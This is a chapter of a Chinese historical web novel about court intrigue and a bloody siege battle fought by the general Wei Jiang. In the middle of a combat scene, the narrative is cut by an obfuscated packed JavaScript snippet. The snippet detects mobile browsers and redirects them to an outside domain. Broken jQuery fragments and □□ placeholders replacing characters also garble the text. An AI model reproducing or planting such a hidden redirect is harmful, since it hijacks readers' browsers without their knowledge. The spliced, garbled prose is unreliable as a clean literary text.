挑拨卫贺两家,不过是有人妄图分权。皇帝虽年事不高,可已隐有风声传出皇帝沉迷丹药,寻长生不老之法。皇帝之子又大多年幼,也难保不会有人动上歪心思。
“你的意思是户部知晓谁要害卫家?”卫疆双手环抱胸前,依靠在桌几旁。
乌言摇摇头,又点点头,搞得卫疆一脸迷茫。
“卢广仲只是知晓暗中让卢榆萱做事之人是娄家人。”
“娄家?工部?”
“只看到人进了娄家门。”
卫疆疑惑:“可卫家与娄家并无关系,甚少走动。”
乌言挑眉:“我怎么记得娄烨儿时被你抓到娄家门前讨说法来着?”
卫疆想起来了,娄烨那日仗着个子高大,总是欺负同书堂的一个小姑娘,卫疆便直接打了娄烨一顿,丢到了娄家门口。
“儿时的玩乐怎么同这些扯上干系?若当真因为此事,倒真是高看了他们。”
乌言摇摇头:“非也,我来盛阳还是为着督工,盛阳渠水大坝修建工期已满,可交付时出了差错,所用材料偷工减料,若交付,大坝不出一年便被洪水冲溃。”
“你的意思是有人借工部的手挑拨卫贺两家,既能让皇帝无闲心放在渠水大坝上,又可离间两家?”
乌言点头,“卢广仲手伸不了太长,有人想把他挤掉,李郃的表兄在卢家做工,于是便派李郃暗中警醒。”
“娄家贪的这般明目张胆,背后之人势力必然不小。比工部还大的……”
卫疆看到乌言眼中的确信,心中哗然。
“皇子?”卫疆压低声音,脱口问出。
乌言点头。
夏中皇子有三,早年太子因病早逝后皇帝一直未再立新储,眼看着二皇子、三皇子皆到束发之年,原太子生母纯妃又产一子,皇帝力排众议立尚不足月的四皇子为新储。
四皇子不知是运气好,还是有人兜着底,皇宫吃人,总归是活到今日。
蛰伏这些时日,牛鬼蛇神皆冒出。若是皇子插手,时局确实大不同,就是不知是三位皇子中的哪一位。
卫家若卷入夺嫡,便是本就择不干净的,开国前卫家与朝中老臣便所交甚密,尽管老臣大多退位让贤,卫忠也抱病,可前世下场便是答案。
卫疆眉头拧成一簇,被乌言上手用力抚平,“夫人无需烦忧,为夫会铺好这一路。”
乌言说的信誓旦旦又斩钉截铁,卫疆也只是点点头。
“报!旌旗稻草皆插在城头,敌军已开始攻城!”
卫疆忙问:“红绸可都系上?”
卫兵答:“半数之上。”
比预想中的要快,姜国便是借着天气想打他们个措手不及。
里阳外的护城河沟壑早不似之前的深,姜国的人很快便轻松渡过。身上的衣服铠甲被水打湿,更是千斤重,黄沙吹袭,沙土沾粘在衣服面颊,风沙大的直叫人睁不开眼睛。
穿上铠甲,卫疆站在城墙上,观看着战况。
此时敌军已经到了翁城前,紧闭的城门旁搭上了梯子,源源不断的敌军攀爬而上。
周延指挥着下属用手中长矛戳刺,爬在最上面的士兵左肩受伤,躲避时的侧身打破了身体的平衡,士兵侧着身子底下下去。
慌乱的下坠使得士兵尽可能的想抓住身边一切东西。
于是下面正在攀爬的士兵便被拽下,一个接着一个的士兵从上方落下,却是一定程度上缓解了敌军的猛烈进攻。
除却企图搭梯子爬上城墙的,城门也被几人合力的重大木桩撞击,邦邦的声音透过城门的震动,震荡进门后的士兵心中。
木栓横在门后,十几人在后拼尽全力的用身躯抵挡。
敌军契而不舍,终究是在人数上占了优势,城墙上的士兵皆筋疲力尽,偶有被敌军一把捉住长矛用力拽下城墙的,便会迅速被后面的人补上缺漏。
消耗了些许兵力,敌军还是破开了城门,大批大批的士兵涌入城中,抱着木桩停在了另一堵大门前。
百来人被困翁城,天上突然下起了箭雨,敌军惊慌失措的举起盾牌,慌忙抵挡。
可但是抵挡头上的箭雨还不够,那箭上绑了布头,烈辣的酒气被星火点燃,无数星光从天而降,像是扎进了油锅,四溅的火舌似是地狱的的亡魂,飞快攀爬而上,直至吞噬。
敌军既要忙着头上的利箭,又要顾及跳窜的火舌,不一会儿,先锋部队便成了后者脚下的踏板,被踩踏着,成了后人涌往城门的绊脚石。
敌军的先锋也不过是探视,接下来的才会是硬仗。
风沙欲渐大了,漫天灰黄,天空同地底一个颜色,整个世界都是黄黄一片,混沌不堪。
直到敌军已快临城下,卫疆才能依稀从下方快速移动的黑点上辨清敌军。
风沙席卷,守城的将士被敌军突袭,稍有不慎便会被对方拽下城墙。
敌军开始猛烈的进攻,似是想趁着风沙,尽快攻城。
那边孔士诚正带着一支小队,趁着黄沙的遮掩,悄无声息地靠近敌军的粮草营。粮草营周边戒备森严,巡逻紧而密,孔士诚一时间难找空隙,抓耳挠腮的躲在一处小山包后。
一息后,孔士诚一咬牙,比划了个手势,一个人悄悄缀在巡逻兵身后,就这么混了进去。
帐篷外看不出端倪,都要进到里面才能看清知晓哪个盛的是粮食,孔士诚就这么左闪右躲,有惊无险的进了三个帐篷,正要进第四个帐篷,突然有人正面撞了正着。
“谁!”
二人皆穿盔甲,可盔甲上的刻案各具特色,只要看得久一点便能分辨的出。
“是敌军!”
一声气沉丹田的大喊立刻暴露了孔士诚,反应过后孔士诚便直接同那人争斗起来。
还在土坡后等着孔士诚的士兵注意到了军营中的骚动,意识到了最好的时机,先锋般冲进敌人的主阵地。
“夏军来了!”
声音在略显黑暗的夜空中宛若一把锋利的刀,割断了此前的平静。
十几人撕裂了营中的布防,刺入营中,刀剑发出狰狞的声响,血液侵染让它们变得更加嗜血。
孔士诚在一片混乱中找到了粮草,一把火点燃。
“着火了!着火了!”
粮营又发生喧闹,孔士诚趁着混乱以吞合之势同士兵汇聚。
敌军人马的试探中止,卫疆已领兵站在护城河前,黄沙吹在脸上似锋利的刀片,可每个将士眼中燃烧着怒火,手中长矛紧握,静等着敌军来袭。
“我乃卫忠之女卫疆,此任前军总兵,便是带着众将士击退敌军,护佑里阳!”
“护佑里阳!护佑里阳!”将士们听闻前军总兵同他们一同作战,眼中闪过几丝光亮,心中有了几分底气。
远处传来隐约的号角声,裹挟在风沙里传进每个人的耳朵,更响亮的号角从上方传来,震荡激昂,猛烈的敲击着人们的心脏。
“冲啊!”
天色已经大暗,子时两方已经厮杀了起来,红绸隐约发着微光,似辰星散落在地面。
刀光剑影中萧杀四起,卫疆冲在前方,身后随着五千骑兵。清一色的铁甲下骑着红棕战马,长枪在月色映照下发出冰冷的寒光。
双方骑兵对仗,铁蹄踏起纷扬的黄沙,卫疆轻眯双眼,阻挡着砂石进入眼睛。
敌方将领长枪直冲卫疆面门袭来,卫疆举起长枪挡下,向左环绕半圈格挡。右手边又袭来一支长枪,卫疆仰头躺在马背上躲了过去。
左手横甩,刺向左侧人身下的战马,只听马嘶吼一声跌倒,身上的骑兵也摔下马背,长枪在卫疆胸前掉头绕过,右手把抓住长枪中段,长刺过去,右手骑兵撤回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446220|185108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
矛挡在面前。
卫疆左手拽起缰绳,马身后仰,欲往敌将方向踩下,敌方后撤之际,卫疆趁机以凤点头之势长□□穿右手马背上那骑兵的咽喉。
鲜血顷刻喷涌,血腥的气味加重了战场上的气氛,那敌将意识到被戏耍,立刻挥矛再刺。
几招事下来,二人打得不可开交,长矛在碰撞中发出刺耳的摩擦。
两杆长枪胶在一起,枪上红缨随着风沙摆动。突然对方变了招式,猛然进攻,卫疆的长枪被击落在地,顿时手无寸铁,只得狼狈的躲闪。
又一□□来,卫疆撑着马背轻跃,足尖借力,手拽缰绳悬身于马侧,抓起地上一杆长枪,挡下敌兵的刀砍。
战马发出一声嘶吼,摇摇欲坠,左右摆动令卫疆失去平衡。身下枣红色战马腹部重创,已然再无能力支撑,可身下战马却极通人性,瘸着前腿往前奔走,欲撞上敌军的战马。
可终究未能随心,马首撞飞了旁边的敌兵,腹部鲜血汹涌,最终倒下,卫疆也被摔出去。敌军拽着缰绳,想凭借着战马踩踏卫疆,卫疆急忙侧身翻滚。
正面对着马的腹部按动袖箭,银针细微钻入皮毛,马刺痛受惊,马蹄前后胡乱的踏着,背上的敌将用力拽着缰绳企图控制,下方的卫疆趁此机会,翻身而起,掷出手中的长枪。
敌方的马也重伤倒下,二人皆赤手空拳。
卫疆踏尸前行,随手捡起身旁的断矛,用力刺入敌兵的肩甲,铸铁相击之声后是骨头碎裂,敌兵发出闷哼。
夺过敌兵手中长枪,顺着长矛所指刺向身后偷袭之人,刀刃刺破胸口,鲜血溅染在卫疆的玄甲上,顺着甲下滑滴落。
除却身前的敌人,周身都被黄沙淹没,似乎世界独剩下卫疆还在此顽强拼搏。
可纵然卫疆一人可抵十人百人,面对源源不断的敌人,仍被掣肘。双拳难敌四手,卫疆肩膀硬生生受了一箭,寻其来源,看见敌将手持弓弩冷笑着看向卫疆。
又侧耳听闻一声破空的袭击,卫疆双手握住长枪挡住,侧身时箭簇擦着枪身钉入地面。
敌将被几名士兵围拢,收割着夏军,身边夏军逐渐减少着,卫疆也一刻未曾停留,手中长矛收割性命,似是地狱的阎罗。
卫疆忍着肩膀不断血流的伤口,鲜血顺着腰腹缓缓流下。城墙上乌言看得不真切,心急如焚,却也不得不听从卫疆的安排。
不可有人开城援救。
卫疆进攻,长矛劈砍而下,前方的敌兵或被夏军扰乱,或被卫疆刺伤,盾牌接连碎裂倒下,长矛被坚硬的盾牌卷了刃,卫疆便丢下,改为用拳。
看似纤弱的手臂蕴着难以想象的力气,一拳砸在敌将的面门,鼻骨碎裂声清脆,指骨嵌入血肉,敌将被激怒,无章法的挥着拳击打卫疆,皆被挡下。
混战中,卫疆倒地,敌将抓住机会便要挥拳而下,卫疆手摸到了身边尸体上的断矛,猛的抽出反手一划。
鲜血淅沥沥的滴落,敌将未落下的拳改为捂住脖颈,瞪大的双眼死死盯着卫疆,倾身倒下。
滚烫的血腥撒落满脸,卫疆轻添唇周的鲜血,身上战意被激起,沸腾着叫嚣,渴望更多鲜血的滋养。
卫疆似是从血泉中站起,玄甲被血侵染,衣袍破碎,却脊背直挺,呛血的喉咙嘶哑着响起:“降者生,抗者——死!”
周围仅剩的残兵败将停下动作,两方都辨别着他们的命运。
侧身又来了一波人加入混战,是孔士诚的那支军队,此时也只剩下十几人。
天朦胧亮起,席卷张扬的风沙随着厮杀声一同渐息,翁城城门再开,满地横七竖八的尸体堆叠,早已在血肉模糊中失了敌我。
遍地残破的血衣尸骸,空气中弥漫着令人作呕的血腥气,卫疆拖着血流如注的左臂进了城。
乌言冲出,打横抱起卫疆,快步往营帐走去。